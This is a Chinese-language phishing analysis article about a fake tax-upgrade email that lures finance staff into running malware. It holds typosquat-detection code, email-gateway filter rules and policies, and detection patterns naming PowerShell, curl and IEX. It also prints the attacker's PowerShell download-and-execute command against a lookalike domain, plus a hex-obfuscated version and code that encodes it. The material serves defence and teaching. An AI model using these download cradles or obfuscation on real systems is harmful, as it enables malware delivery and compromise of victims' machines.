社会工程学钓鱼攻击全链路拆解：一封“税务系统升级通知“如何吃掉财务的电脑

import difflib
def check_domain_similarity(suspect: str, legitimate: str) -> float:
    """
    基于 difflib.SequenceMatcher 计算两个域名的相似度（0~1）
    相似度 > 0.85 即判定为高危仿冒
    """
    ratio = difflib.SequenceMatcher(None, suspect, legitimate).ratio()
    return round(ratio, 4)
# 测试用例
pairs = [
    ("etax-g0v.cn",    "etax-gov.cn"),
    ("lnvoice.cn",     "invoice.cn"),
    ("taxrefund-rn.com","taxrefund.com"),
    ("etax-gov.com.cn","etax-gov.cn"),
]
for suspect, real in pairs:
    score = check_domain_similarity(suspect, real)
    flag = "[高危]" if score > 0.85 else "[安全]"
    print(f"{suspect:>22s} vs {real:<22s} → 相似度 {score}  {flag}")

etax-g0v.cn vs etax-gov.cn            → 相似度 0.9231  [高危]
          lnvoice.cn vs invoice.cn             → 相似度 0.9231  [高危]
    taxrefund-rn.com vs taxrefund.com          → 相似度 0.8824  [高危]
     etax-gov.com.cn vs etax-gov.cn           → 相似度 0.8667  [高危]

# 攻击者给出的"升级补丁"命令（实际为恶意载荷下载器）
powershell -NoProfile -ExecutionPolicy Bypass -Command ^
  "IEX (New-Object Net.WebClient).DownloadString('https://cdn-patch.etax-g0v.cn/upgrade.ps1')"

Received: from mail.etax-g0v.cn (198.51.100.23)
Return-Path: <notice@etax-g0v.cn>
DKIM-Signature: (无)
SPF: fail
DMARC: none

# 邮件网关过滤规则（适用于企业邮件服务器 / Outlook 插件）
def flag_suspicious_email(email):
    triggers = []
    # 规则 1：标题包含紧迫性关键词
    urgency_words = ["紧急", "立即", "截止", "最后", "逾期", "滞纳金", "自动关闭"]
    if any(w in email.subject for w in urgency_words):
        triggers.append("紧迫性关键词")
    # 规则 2：SPF / DKIM / DMARC 任一失败
    if email.spf != "pass" or email.dkim != "pass" or email.dmarc != "pass":
        triggers.append("邮件认证失败")
    # 规则 3：正文包含命令行执行指令
    cmd_patterns = ["powershell", "curl", "wget", "cmd /c", "bash -c", "iex"]
    if any(p in email.body.lower() for p in cmd_patterns):
        triggers.append("包含命令执行指令")
    # 规则 4：链接域名与已知品牌相似度 > 0.85
    for link in email.links:
        if check_domain_similarity(link.domain, "etax-gov.cn") > 0.85:
            triggers.append(f"域名仿冒嫌疑：{link.domain}")
    if len(triggers) >= 2:
        return "[高危] 建议拦截并通知安全团队"
    elif len(triggers) == 1:
        return "[可疑] 建议核实后再操作"
    return "[正常] 未发现明显异常"

powershell -NoProfile -Command ^
  "$h='49455820284e65772d4f626a656374204e65742e576562436c69656e7429...';" ^
  "[System.Text.Encoding]::UTF8.GetString(($h -split '(..)' | ?{$_} | %{[Convert]::ToByte($_,16)}))"

import binascii
# 原始恶意命令
malicious_cmd = (
    "IEX (New-Object Net.WebClient)"
    ".DownloadString('https://cdn-patch.etax-g0v.cn/upgrade.ps1')"
)
# 编码（攻击者做的事）：明文 → 十六进制
hex_encoded = binascii.hexlify(malicious_cmd.encode("utf-8")).decode("ascii")
print("编码后（前 80 字符）：")
print(hex_encoded[:80] + "...")
print(f"\n编码长度：{len(hex_encoded)} 字符")
# 解码（终端执行时发生的事）：十六进制 → 明文
decoded = binascii.unhexlify(hex_encoded).decode("utf-8")
print("\n解码还原：")
print(decoded)

编码后（前 80 字符）：
49455820284e65772d4f626a656374204e65742e576562436c69656e74292e446f776e6c6f6164...
编码长度：148 字符
解码还原：
IEX (New-Object Net.WebClient).DownloadString('https://cdn-patch.etax-g0v.cn/upgrade.ps1')

# Windows PowerShell：解码十六进制并预览，不执行
$hex = "49455820284e6577..."  # 粘贴可疑的十六进制字符串
[System.Text.Encoding]::UTF8.GetString(
    ($hex -split '(..)' | Where-Object {$_} | ForEach-Object {[Convert]::ToByte($_,16)})
)

# macOS / Linux：解码十六进制并预览，不执行
echo "49455820284e6577..." | xxd -r -p

# 邮件网关策略示例（适用于 Microsoft 365 / Mimecast / Proofpoint）
inbound_policy:
  # 1. 强制 DMARC 校验
  dmarc_check:
    action: quarantine
    reject_on_fail: true
  # 2. 域名相似度检测
  typosquat_detection:
    enabled: true
    similarity_threshold: 0.85
    brand_list:
      - etax-gov.cn
      - invoice.cn
      - taxrefund.com
    action: block_and_alert
  # 3. 正文命令注入检测
  body_scan:
    patterns:
      - "powershell.*-Command"
      - "curl.*http"
      - "IEX.*Download"
      - "base64.*decode"
      - "ToByte.*16"
    action: strip_and_flag
  # 4. 附件与链接沙箱
  sandbox:
    enabled: true
    detonation_time: 120s